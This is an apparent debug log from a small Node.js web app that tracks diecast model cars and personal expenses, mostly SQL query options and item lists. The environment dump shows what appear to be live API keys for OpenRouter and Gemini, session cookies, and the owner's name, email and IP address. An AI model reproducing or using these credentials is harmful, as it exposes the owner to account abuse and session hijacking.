      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-27T12:54:22.518Z server-connect:router Serving templateView /diecast
2026-02-27T12:54:22.519Z server-connect:app Executing action step identify
2026-02-27T12:54:22.519Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:22.519Z server-connect:output identity: 1
2026-02-27T12:54:22.519Z server-connect:app Executing action step restrict
2026-02-27T12:54:22.519Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-27T12:54:22.520Z server-connect:output restrict: undefined
2026-02-27T12:54:22.520Z server-connect:router Render template layouts/main
2026-02-27T12:54:22.520Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { manufacturer: '73' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-28T12:50:52.421Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'manufacturer=73',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A0LvLiJRecl62cZ9hBuJQtA%3D%3D.SybS%2FANEDYpE8jIgDyiXcvJQZD98yRPwEFCUSEJEuYAtXvR%2BDjOdqgSK%2Bnk0qB%2Bp6Yl%2BaQ0h326zeM6a4UrRQONZh79bID1YkQLQEE3xnQhnP5kzl7npDSbJzDBCh%2B%2Bs77em8xBBvE%2Bbb%2BTratLJlRyIabR%2BQPWHBwdrJVHahWE%3D.%2BZtz1yW%2B%2F3B9p3AnWqbtt9UjEGdIFaCYq%2FEdVuzmZlg; your_r_git.sid=s%3Afy-PcuG34zGFxDXRlCcX0SHGw97WuWzN.iFeidVu3hOVBCwVR8toEvPxctBfS3vLoAR4JwlhTlyE',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-27T12:54:23.857Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-27T12:54:23.860Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-27T12:54:23.862Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-27T12:54:23.865Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-27T12:54:23.865Z server-connect:app Executing action step identify
2026-02-27T12:54:23.865Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.866Z server-connect:output identity: 1
2026-02-27T12:54:23.866Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.866Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.867Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-27T12:54:23.868Z server-connect:output restrict: undefined
2026-02-27T12:54:23.868Z server-connect:app Executing action step select
2026-02-27T12:54:23.868Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-27T12:54:23.870Z server-connect:app Executing action step identify
2026-02-27T12:54:23.870Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.870Z server-connect:output identity: 1
2026-02-27T12:54:23.870Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.870Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.872Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-27T12:54:23.876Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-27T12:54:23.878Z server-connect:app Executing action step identify
2026-02-27T12:54:23.878Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.878Z server-connect:output identity: 1
2026-02-27T12:54:23.878Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.879Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.879Z server-connect:output restrict: undefined
2026-02-27T12:54:23.879Z server-connect:app Executing action step single
2026-02-27T12:54:23.879Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-27T12:54:23.880Z server-connect:app Executing action step identify
2026-02-27T12:54:23.880Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.881Z server-connect:output identity: 1
2026-02-27T12:54:23.881Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.881Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.882Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-27T12:54:23.883Z server-connect:app Executing action step identify
2026-02-27T12:54:23.883Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.883Z server-connect:output identity: 1
2026-02-27T12:54:23.883Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.883Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.885Z server-connect:output restrict: undefined
2026-02-27T12:54:23.885Z server-connect:app Executing action step select
2026-02-27T12:54:23.885Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-27T12:54:23.887Z server-connect:output restrict: undefined
2026-02-27T12:54:23.887Z server-connect:app Executing action step select
2026-02-27T12:54:23.887Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-27T12:54:23.888Z server-connect:app Executing action step identify
2026-02-27T12:54:23.888Z server-connect:app options: { provider: 'security' }
2026-02-27T12:54:23.888Z server-connect:output identity: 1
2026-02-27T12:54:23.888Z server-connect:app Executing action step restrict
2026-02-27T12:54:23.888Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-27T12:54:23.891Z server-connect:output restrict: undefined
2026-02-27T12:54:23.891Z server-connect:app Executing action step paged
2026-02-27T12:54:23.891Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-27T12:54:23.893Z server-connect:output restrict: undefined
2026-02-27T12:54:23.893Z server-connect:app Executing action step select
2026-02-27T12:54:23.893Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-27T12:54:23.895Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-27T12:54:23.899Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-27T12:54:23.900Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-27T12:54:23.902Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
